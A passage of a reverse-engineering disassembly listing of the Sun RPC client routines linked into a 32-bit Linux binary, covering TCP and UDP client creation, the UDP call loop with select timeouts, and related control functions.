loc_8063B78:				; CODE XREF: clnttcp_create+31j
		cmp	word ptr [ebx+2], 0
		jnz	short loc_8063BA1
		push	6
		mov	edx, [ebp+arg_8]
		push	edx
		mov	edx, [ebp+arg_4]
		push	edx
		push	ebx
		call	pmap_getport
		add	esp, 10h
		test	ax, ax
		jz	loc_8063D08
		xchg	al, ah
		mov	[ebx+2], ax

loc_8063BA1:				; CODE XREF: clnttcp_create+79j
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx], 0
		jge	short loc_8063C10
		push	6
		push	1
		push	2
		call	socket		; open a SOCK_STREAM socket, type PF_INET, proto TCP
		mov	edx, [ebp+arg_C]
		mov	[edx], eax
		push	0
		push	eax
		call	bindresvport
		add	esp, 14h
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx], 0
		jl	short loc_8063BDE
		push	10h
		push	ebx
		mov	eax, [edx]
		push	eax
		call	connect
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_8063C04

loc_8063BDE:				; CODE XREF: clnttcp_create+C6j
		mov	dword_8079220, 0Ch
		mov	eax, errno
		mov	dword_8079228, eax
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx], 0
		jl	loc_8063D08
		jmp	loc_8063CA1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8063C04:				; CODE XREF: clnttcp_create+D8j
		mov	dword ptr [esi+4], 1
		jmp	short loc_8063C17
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8063C10:				; CODE XREF: clnttcp_create+A3j
		mov	dword ptr [esi+4], 0

loc_8063C17:				; CODE XREF: clnttcp_create+107j
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		mov	[esi], eax
		mov	dword ptr [esi+0Ch], 0
		mov	dword ptr [esi+10h], 0
		mov	eax, [ebx]
		mov	[esi+14h], eax
		mov	eax, [ebx+4]
		mov	[esi+18h], eax
		mov	eax, [ebx+8]
		mov	[esi+1Ch], eax
		mov	eax, [ebx+0Ch]
		mov	[esi+20h], eax
		push	0
		lea	eax, [ebp+var_38]
		push	eax
		call	__libc_gettimeofday
		call	__libc_getpid
		xor	eax, [ebp+var_38]
		xor	eax, [ebp+var_34]
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], 0
		mov	[ebp+var_28], 2
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_24], edx
		mov	edx, [ebp+arg_8]
		mov	[ebp+var_20], edx
		push	0
		push	18h
		lea	eax, [esi+30h]
		push	eax
		lea	ebx, [esi+4Ch]
		push	ebx
		call	xdrmem_create
		lea	eax, [ebp+var_30]
		push	eax
		push	ebx
		call	sub_8064C9C
		add	esp, 20h
		test	eax, eax
		jnz	short loc_8063CB0
		cmp	dword ptr [esi+4], 0
		jz	short loc_8063D08
		mov	edx, [ebp+arg_C]

loc_8063CA1:				; CODE XREF: clnttcp_create+FAj
		mov	eax, [edx]
		push	eax
		call	__libc_close
		add	esp, 4
		jmp	short loc_8063D08
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8063CB0:				; CODE XREF: clnttcp_create+192j
		mov	eax, [esi+50h]
		lea	ebx, [esi+4Ch]
		push	ebx
		mov	eax, [eax+10h]
		call	eax
		mov	[esi+48h], eax
		mov	eax, [esi+50h]
		add	esp, 4
		cmp	dword ptr [eax+1Ch], 0
		jz	short loc_8063CD4
		push	ebx
		mov	eax, [eax+1Ch]
		call	eax
		add	esp, 4

loc_8063CD4:				; CODE XREF: clnttcp_create+1C5j
		push	offset sub_8064174
		push	offset sub_8064074
		push	esi
		mov	edx, [ebp+arg_14]
		push	edx
		mov	edx, [ebp+arg_10]
		push	edx
		lea	eax, [esi+4Ch]
		push	eax
		call	sub_8065750
		mov	dword ptr [edi+4], offset off_80791A8
		mov	[edi+8], esi
		call	authnone_create
		mov	[edi], eax
		mov	eax, edi
		jmp	short loc_8063D16
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8063D08:				; CODE XREF: clnttcp_create+6Ej
					; clnttcp_create+91j ...
		push	esi
		call	free
		push	edi
		call	free
		xor	eax, eax

loc_8063D16:				; CODE XREF: clnttcp_create+1FFj
		lea	esp, [ebp+var_44]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
clnttcp_create	endp

; [0000023F BYTES: COLLAPSED FUNCTION sub_8063D20. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000021 BYTES: COLLAPSED FUNCTION sub_8063F60. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000025 BYTES: COLLAPSED FUNCTION sub_8063F84. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000007 BYTES: COLLAPSED FUNCTION sub_8063FAC. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000078 BYTES: COLLAPSED FUNCTION sub_8063FB4. PRESS KEYPAD	"+" TO EXPAND]
; [00000046 BYTES: COLLAPSED FUNCTION sub_806402C. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [000000FF BYTES: COLLAPSED FUNCTION sub_8064074. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000051 BYTES: COLLAPSED FUNCTION sub_8064174. PRESS KEYPAD	"+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: library function bp-based	frame

clntudp_bufcreate proc near		; CODE XREF: sub_8064400+27p
					; pmap_getport+46p

var_4C		= byte ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_18]
		mov	esi, [ebp+arg_1C]
		xor	ebx, ebx
		call	libc_nls_init
		push	0Ch
		call	malloc
		mov	[ebp+var_40], eax
		add	esp, 4
		test	eax, eax
		jz	short loc_806420E
		add	edi, 3
		and	edi, 0FFFFFFFCh
		add	esi, 3
		and	esi, 0FFFFFFFCh
		lea	edx, [edi+esi+64h]
		push	edx
		call	malloc
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_8064254

loc_806420E:				; CODE XREF: clntudp_bufcreate+25j
		push	offset aOutOfMemory_0 ;	"out of	memory"
		push	1
		push	0Ah
		mov	edx, dword_8078F9C
		push	edx
		call	sub_805E584
		push	eax
		push	offset aClntudp_create ; "clntudp_create: %s\n"
		push	offset unk_80787A4
		call	_IO_fprintf
		mov	dword_8079220, 0Ch
		mov	edx, errno
		mov	dword_8079228, edx
		add	esp, 1Ch
		jmp	loc_80643D8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064254:				; CODE XREF: clntudp_bufcreate+44j
		lea	edx, [ebx+esi+60h]
		mov	[ebx+58h], edx
		push	0
		lea	edx, [ebp+var_38]
		push	edx
		call	__libc_gettimeofday
		add	esp, 8
		mov	ecx, [ebp+arg_0]
		cmp	word ptr [ecx+2], 0
		jnz	short loc_806429D
		push	11h
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	pmap_getport
		add	esp, 10h
		test	ax, ax
		jz	loc_80643D8
		mov	edx, eax
		xchg	dl, dh
		mov	ecx, [ebp+arg_0]
		mov	[ecx+2], dx

loc_806429D:				; CODE XREF: clntudp_bufcreate+A9j
		mov	ecx, [ebp+var_40]
		mov	dword ptr [ecx+4], offset off_80791C0
		mov	[ecx+8], ebx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		mov	[ebx+8], edx
		mov	edx, [ecx+4]
		mov	[ebx+0Ch], edx
		mov	edx, [ecx+8]
		mov	[ebx+10h], edx
		mov	edx, [ecx+0Ch]
		mov	[ebx+14h], edx
		mov	dword ptr [ebx+18h], 10h
		mov	edx, [ebp+arg_C]
		mov	[ebx+1Ch], edx
		mov	edx, [ebp+arg_10]
		mov	[ebx+20h], edx
		mov	dword ptr [ebx+24h], 0FFFFFFFFh
		mov	dword ptr [ebx+28h], 0FFFFFFFFh
		mov	[ebx+54h], edi
		mov	[ebx+5Ch], esi
		call	__libc_getpid
		mov	edx, eax
		xor	edx, [ebp+var_38]
		xor	edx, [ebp+var_34]
		mov	[ebp+var_30], edx
		mov	[ebp+var_2C], 0
		mov	[ebp+var_28], 2
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_24], ecx
		mov	ecx, [ebp+arg_8]
		mov	[ebp+var_20], ecx
		push	0
		push	edi
		mov	edx, [ebx+58h]
		push	edx
		lea	esi, [ebx+38h]
		push	esi
		call	xdrmem_create
		lea	edx, [ebp+var_30]
		push	edx
		push	esi
		call	sub_8064C9C
		add	esp, 18h
		test	eax, eax
		jz	loc_80643D8
		mov	edx, [ebx+3Ch]
		push	esi
		mov	edx, [edx+10h]
		call	edx
		mov	[ebx+50h], eax
		add	esp, 4
		mov	ecx, [ebp+arg_14]
		cmp	dword ptr [ecx], 0
		jge	short loc_80643B8
		mov	[ebp+var_3C], 1
		push	11h
		push	2
		push	2
		call	socket		; open a SOCK_DGRAM socket, type PF_INET, proto	UDP
		mov	ecx, [ebp+arg_14]
		mov	[ecx], eax
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_8064388
		mov	dword_8079220, 0Ch
		mov	edx, errno
		mov	dword_8079228, edx
		jmp	short loc_80643D8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064388:				; CODE XREF: clntudp_bufcreate+1A5j
		push	0
		mov	ecx, [ebp+arg_14]
		mov	edx, [ecx]
		push	edx
		call	bindresvport
		lea	edx, [ebp+var_3C]
		push	edx
		push	5421h
		mov	ecx, [ebp+arg_14]
		mov	edx, [ecx]
		push	edx
		call	__libc_ioctl
		mov	dword ptr [ebx+4], 1
		add	esp, 14h
		jmp	short loc_80643BF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80643B8:				; CODE XREF: clntudp_bufcreate+187j
		mov	dword ptr [ebx+4], 0

loc_80643BF:				; CODE XREF: clntudp_bufcreate+1EBj
		mov	ecx, [ebp+arg_14]
		mov	edx, [ecx]
		mov	[ebx], edx
		call	authnone_create
		mov	ecx, [ebp+var_40]
		mov	[ecx], eax
		mov	eax, [ebp+var_40]
		jmp	short loc_80643F6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80643D8:				; CODE XREF: clntudp_bufcreate+84j
					; clntudp_bufcreate+C4j ...
		test	ebx, ebx
		jz	short loc_80643E5
		push	ebx
		call	free
		add	esp, 4

loc_80643E5:				; CODE XREF: clntudp_bufcreate+212j
		cmp	[ebp+var_40], 0
		jz	short loc_80643F4
		mov	ecx, [ebp+var_40]
		push	ecx
		call	free

loc_80643F4:				; CODE XREF: clntudp_bufcreate+221j
		xor	eax, eax

loc_80643F6:				; CODE XREF: clntudp_bufcreate+20Bj
		lea	esp, [ebp+var_4C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
clntudp_bufcreate endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8064400	proc near		; CODE XREF: sub_805CE84+3FBp

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_14]
		push	2260h
		push	2260h
		push	edx
		mov	edx, [ebp+arg_10]
		mov	esi, [ebp+arg_C]
		push	edx
		push	esi
		push	ecx
		push	eax
		push	ebx
		call	clntudp_bufcreate
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8064400	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8064438	proc near		; DATA XREF: .data:080791C0o

var_D8		= byte ptr -0D8h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_80		= byte ptr -80h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_50		= byte ptr -50h
var_40		= dword	ptr -40h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		push	edi
		push	esi
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		mov	[ebp+var_A8], eax
		mov	[ebp+var_B8], 2
		cmp	dword ptr [eax+28h], 0FFFFFFFFh
		jnz	short loc_8064474
		mov	ecx, [ebp+arg_18]
		mov	[ebp+var_C0], ecx
		mov	ecx, [ebp+arg_1C]
		mov	[ebp+var_BC], ecx
		jmp	short loc_806448C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064474:				; CODE XREF: sub_8064438+26j
		mov	edi, [ebp+var_A8]
		mov	eax, [edi+24h]
		mov	[ebp+var_C0], eax
		mov	eax, [edi+28h]
		mov	[ebp+var_BC], eax

loc_806448C:				; CODE XREF: sub_8064438+3Aj
		mov	[ebp+var_B4], 0
		mov	[ebp+var_B0], 0

loc_80644A0:				; CODE XREF: sub_8064438+422j
		mov	ecx, [ebp+var_A8]
		add	ecx, 38h
		mov	[ebp+var_AC], ecx
		mov	edi, [ebp+var_A8]
		mov	dword ptr [edi+38h], 0
		mov	eax, [edi+3Ch]
		mov	edx, [edi+50h]
		push	edx
		push	ecx
		mov	edx, [eax+14h]
		call	edx
		mov	edx, [edi+58h]
		inc	word ptr [edx]
		mov	ecx, [edi+3Ch]
		lea	edx, [ebp+arg_4]
		push	edx
		mov	edi, [ebp+var_AC]
		push	edi
		mov	edx, [ecx+4]
		call	edx
		mov	edx, eax
		add	esp, 10h
		test	edx, edx
		jz	short loc_806451C
		mov	eax, [ebp+arg_0]
		mov	edx, [eax]
		mov	ecx, [edx+20h]
		push	edi
		push	edx
		mov	edx, [ecx+4]
		call	edx
		mov	edx, eax
		add	esp, 8
		test	edx, edx
		jz	short loc_806451C
		mov	edi, [ebp+arg_C]
		push	edi
		mov	eax, [ebp+var_AC]
		push	eax
		mov	ecx, [ebp+arg_8]
		call	ecx
		mov	edx, eax
		add	esp, 8
		test	edx, edx
		jnz	short loc_8064534

loc_806451C:				; CODE XREF: sub_8064438+B1j
					; sub_8064438+C9j
		mov	edi, [ebp+var_A8]
		mov	dword ptr [edi+2Ch], 1
		mov	eax, 1
		jmp	loc_8064876
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064534:				; CODE XREF: sub_8064438+E2j
		mov	eax, [ebp+var_AC]
		mov	edx, [eax+4]
		push	eax
		mov	edx, [edx+10h]
		call	edx
		mov	ebx, eax
		add	esp, 4

loc_8064548:				; CODE XREF: sub_8064438+260j
					; sub_8064438+280j
		mov	ecx, [ebp+var_A8]
		mov	edx, [ecx+18h]
		push	edx
		mov	edx, [ebp+var_A8]
		add	edx, 8
		push	edx
		push	0
		push	ebx
		mov	edx, [ecx+58h]
		push	edx
		mov	edx, [ecx]
		push	edx
		call	sendto
		mov	edx, eax
		add	esp, 18h
		cmp	edx, ebx
		jz	short loc_8064594
		mov	edx, errno
		mov	edi, [ebp+var_A8]
		mov	[edi+30h], edx
		mov	dword ptr [edi+2Ch], 3
		mov	eax, 3
		jmp	loc_8064876
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064594:				; CODE XREF: sub_8064438+13Aj
		cmp	[ebp+var_C0], 0
		jnz	short loc_80645AA
		cmp	[ebp+var_BC], 0
		jz	loc_80646BE

loc_80645AA:				; CODE XREF: sub_8064438+163j
		mov	edx, dword_8079230
		mov	[ebp+var_74], edx
		mov	edx, dword_8079234
		mov	[ebp+var_70], edx
		mov	edx, dword_8079238
		mov	[ebp+var_6C], edx
		mov	ecx, [ebp+arg_14]
		mov	[ebp+var_64], ecx
		mov	edi, [ebp+arg_10]
		mov	[ebp+var_60], edi
		lea	edx, [ebp+var_40]
		xor	eax, eax
		mov	ecx, 8
		mov	edi, edx
		cld
		repe stosd
		mov	eax, [ebp+var_A8]
		mov	eax, [eax]
		bts	[ebp+var_40], eax

loc_80645EC:				; CODE XREF: sub_8064438+2A7j
					; sub_8064438+31Cj ...
		lea	edx, [ebp+var_20]
		lea	esi, [ebp+var_40]
		mov	edi, edx
		cld
		mov	ecx, 8
		repe movsd
		mov	eax, [ebp+var_A8]
		mov	edx, [eax+1Ch]
		mov	[ebp+var_A0], edx
		mov	edx, [eax+20h]
		mov	[ebp+var_9C], edx
		lea	edx, [ebp+var_A0]
		push	edx
		push	0
		push	0
		lea	edx, [ebp+var_20]
		push	edx
		call	sub_80649C0
		mov	edx, eax
		push	edx
		call	__select
		mov	edx, eax
		add	esp, 14h
		cmp	edx, 0FFFFFFFFh
		jz	loc_80646D8
		test	edx, edx
		jnz	loc_8064708
		mov	ecx, [ebp+var_A8]
		mov	ecx, [ecx+1Ch]
		add	[ebp+var_B4], ecx
		mov	edi, [ebp+var_A8]
		mov	edi, [edi+20h]
		add	[ebp+var_B0], edi
		cmp	[ebp+var_B0], 0F423Fh
		jle	short loc_806468C

loc_8064670:				; CODE XREF: sub_8064438+252j
		inc	[ebp+var_B4]
		add	[ebp+var_B0], 0FFF0BDC0h
		cmp	[ebp+var_B0], 0F423Fh
		jg	short loc_8064670

loc_806468C:				; CODE XREF: sub_8064438+236j
		mov	eax, [ebp+var_C0]
		cmp	[ebp+var_B4], eax
		jl	loc_8064548
		mov	ecx, [ebp+var_C0]
		cmp	[ebp+var_B4], ecx
		jnz	short loc_80646BE
		mov	edi, [ebp+var_BC]
		cmp	[ebp+var_B0], edi
		jl	loc_8064548

loc_80646BE:				; CODE XREF: sub_8064438+16Cj
					; sub_8064438+272j
		mov	eax, [ebp+var_A8]
		mov	dword ptr [eax+2Ch], 5
		mov	eax, 5
		jmp	loc_8064876
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80646D8:				; CODE XREF: sub_8064438+200j
		cmp	errno, 4
		jz	loc_80645EC
		mov	edx, errno
		mov	ecx, [ebp+var_A8]
		mov	[ecx+30h], edx
		mov	dword ptr [ecx+2Ch], 4
		mov	eax, 4
		jmp	loc_8064876
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064708:				; CODE XREF: sub_8064438+208j
					; sub_8064438+313j
		mov	[ebp+var_A4], 10h
		lea	edx, [ebp+var_A4]
		push	edx
		lea	edx, [ebp+var_50]
		push	edx
		push	0
		mov	edi, [ebp+var_A8]
		mov	edx, [edi+5Ch]
		push	edx
		mov	edx, [ebp+var_A8]
		add	edx, 60h
		push	edx
		mov	edx, [edi]
		push	edx
		call	recvfrom
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jge	short loc_806477C
		cmp	errno, 4
		jz	short loc_8064708
		cmp	errno, 0Bh
		jz	loc_80645EC
		jz	loc_80645EC
		mov	edx, errno
		mov	[edi+30h], edx
		mov	dword ptr [edi+2Ch], 4
		mov	eax, 4
		jmp	loc_8064876
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_806477C:				; CODE XREF: sub_8064438+30Aj
		cmp	esi, 3
		jbe	loc_80645EC
		mov	eax, [ebp+var_A8]
		mov	eax, [eax+58h]
		mov	ecx, [ebp+var_A8]
		mov	edx, [ecx+60h]
		cmp	[eax], edx
		jnz	loc_80645EC
		push	1
		push	esi
		mov	edx, [ebp+var_A8]
		add	edx, 60h
		push	edx
		lea	ebx, [ebp+var_98]
		push	ebx
		call	xdrmem_create
		lea	esi, [ebp+var_80]
		push	esi
		push	ebx
		call	xdr_replymsg
		add	esp, 18h
		test	eax, eax
		jz	loc_8064860
		mov	edx, [ebp+var_A8]
		add	edx, 2Ch
		push	edx
		push	esi
		call	sub_8064DE0
		add	esp, 8
		mov	edi, [ebp+var_A8]
		cmp	dword ptr [edi+2Ch], 0
		jnz	short loc_8064834
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	ecx, [eax+20h]
		lea	edx, [ebp+var_74]
		push	edx
		push	eax
		mov	edx, [ecx+8]
		call	edx
		mov	edx, eax
		add	esp, 8
		test	edx, edx
		jnz	short loc_8064815
		mov	dword ptr [edi+2Ch], 7
		mov	dword ptr [edi+30h], 6

loc_8064815:				; CODE XREF: sub_8064438+3CDj
		cmp	[ebp+var_70], 0
		jz	short loc_806486D
		mov	edi, [ebp+var_AC]
		mov	dword ptr [edi], 2
		lea	edx, [ebp+var_74]
		push	edx
		push	edi
		call	xdr_opaque_auth
		jmp	short loc_806486D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064834:				; CODE XREF: sub_8064438+3B2j
		cmp	[ebp+var_B8], 0
		jle	short loc_806486D
		mov	eax, [ebp+arg_0]
		mov	edx, [eax]
		mov	ecx, [edx+20h]
		push	edx
		mov	edx, [ecx+0Ch]
		call	edx
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_806486D
		dec	[ebp+var_B8]
		jmp	loc_80644A0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064860:				; CODE XREF: sub_8064438+38Fj
		mov	edi, [ebp+var_A8]
		mov	dword ptr [edi+2Ch], 2

loc_806486D:				; CODE XREF: sub_8064438+3E1j
					; sub_8064438+3F9j ...
		mov	eax, [ebp+var_A8]
		mov	eax, [eax+2Ch]

loc_8064876:				; CODE XREF: sub_8064438+F6j
					; sub_8064438+157j ...
		lea	esp, [ebp+var_D8]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8064438	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8064884	proc near		; DATA XREF: .data:080791C8o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	edx, [eax+8]
		mov	eax, [edx+2Ch]
		mov	[ecx], eax
		mov	eax, [edx+30h]
		mov	[ecx+4], eax
		mov	eax, [edx+34h]
		mov	[ecx+8], eax
		mov	esp, ebp
		pop	ebp
		retn
sub_8064884	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_80648A8	proc near		; DATA XREF: .data:080791CCo

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	eax, [eax+8]
		lea	edx, [eax+38h]
		mov	dword ptr [eax+38h], 2
		push	ecx
		push	edx
		call	ebx
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_80648A8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_80648D0	proc near		; DATA XREF: .data:080791C4o
		push	ebp
		mov	ebp, esp
		mov	esp, ebp
		pop	ebp
		retn
sub_80648D0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_80648D8	proc near		; DATA XREF: .data:080791D4o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	edx, [ebp+arg_0]
		mov	ebx, [ebp+arg_8]
		mov	eax, [edx+8]
		mov	edx, [ebp+arg_4]
		dec	edx
		cmp	edx, 4		; switch 5 cases 
		ja	short loc_8064968 ; default
		jmp	ds:off_80648F8[edx*4] ;	switch jump
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
off_80648F8	dd offset loc_806490C	; DATA XREF: sub_80648D8+16r
		dd offset loc_806491C	; jump table for switch	statement
		dd offset loc_806494C
		dd offset loc_806492C
		dd offset loc_806493C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806490C:				; CODE XREF: sub_80648D8+16j
					; DATA XREF: sub_80648D8+20o
		mov	edx, [ebx]	; case 0x0
		mov	ecx, [ebx+4]
		mov	[eax+24h], edx
		mov	[eax+28h], ecx
		jmp	short loc_806496C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_806491C:				; CODE XREF: sub_80648D8+16j
					; DATA XREF: sub_80648D8+20o
		mov	edx, [eax+24h]	; case 0x1
		mov	ecx, [eax+28h]
		mov	[ebx], edx
		mov	[ebx+4], ecx
		jmp	short loc_806496C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_806492C:				; CODE XREF: sub_80648D8+16j
					; DATA XREF: sub_80648D8+20o
		mov	edx, [ebx]	; case 0x3
		mov	ecx, [ebx+4]
		mov	[eax+1Ch], edx
		mov	[eax+20h], ecx
		jmp	short loc_806496C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_806493C:				; CODE XREF: sub_80648D8+16j
					; DATA XREF: sub_80648D8+20o
		mov	edx, [eax+1Ch]	; case 0x4
		mov	ecx, [eax+20h]
		mov	[ebx], edx
		mov	[ebx+4], ecx
		jmp	short loc_806496C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_806494C:				; CODE XREF: sub_80648D8+16j
					; DATA XREF: sub_80648D8+20o
		mov	edx, [eax+8]	; case 0x2
		mov	[ebx], edx
		mov	edx, [eax+0Ch]
		mov	[ebx+4], edx
		mov	edx, [eax+10h]
		mov	[ebx+8], edx
		mov	edx, [eax+14h]
		mov	[ebx+0Ch], edx
		jmp	short loc_806496C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064968:				; CODE XREF: sub_80648D8+14j
		xor	eax, eax	; default
		jmp	short loc_8064971
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806496C:				; CODE XREF: sub_80648D8+3Fj
					; sub_80648D8+4Fj ...
		mov	eax, 1

loc_8064971:				; CODE XREF: sub_80648D8+92j
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_80648D8	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8064978	proc near		; DATA XREF: .data:080791D0o

var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [esi+8]
		cmp	dword ptr [ebx+4], 0
		jz	short loc_8064994
		mov	eax, [ebx]
		push	eax
		call	__libc_close
		add	esp, 4

loc_8064994:				; CODE XREF: sub_8064978+Fj
		mov	edx, [ebx+3Ch]
		cmp	dword ptr [edx+1Ch], 0
		jz	short loc_80649A9
		lea	eax, [ebx+38h]
		push	eax
